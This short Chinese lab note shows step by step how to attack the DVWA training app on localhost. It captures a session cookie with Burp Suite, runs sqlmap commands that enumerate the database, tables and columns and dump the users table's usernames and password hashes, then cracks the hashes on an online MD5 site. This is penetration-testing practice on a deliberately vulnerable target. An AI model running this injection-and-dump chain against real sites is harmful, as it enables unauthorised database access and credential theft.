1.利用bp获取cookie
2.利用sqlmap获取用户名密码
cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie”
sqlmap.py -u http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit --cookie=“security=low; PHPSESSID=9djnnv81n3lmgmu4sno9825j42”
当前数据库
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=9djnnv81n3lmgmu4sno9825j42" --current-db
数据表名称
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=9djnnv81n3lmgmu4sno9825j42" -D dvwa --tables
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=9djnnv81n3lmgmu4sno9825j42" -D dvwa -T users --columns
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=9djnnv81n3lmgmu4sno9825j42" -D dvwa -T users -C “user,password” --dump
接下来选择nn即可得到账户密码 利用MD5解码即可 https://cmd5.com/
|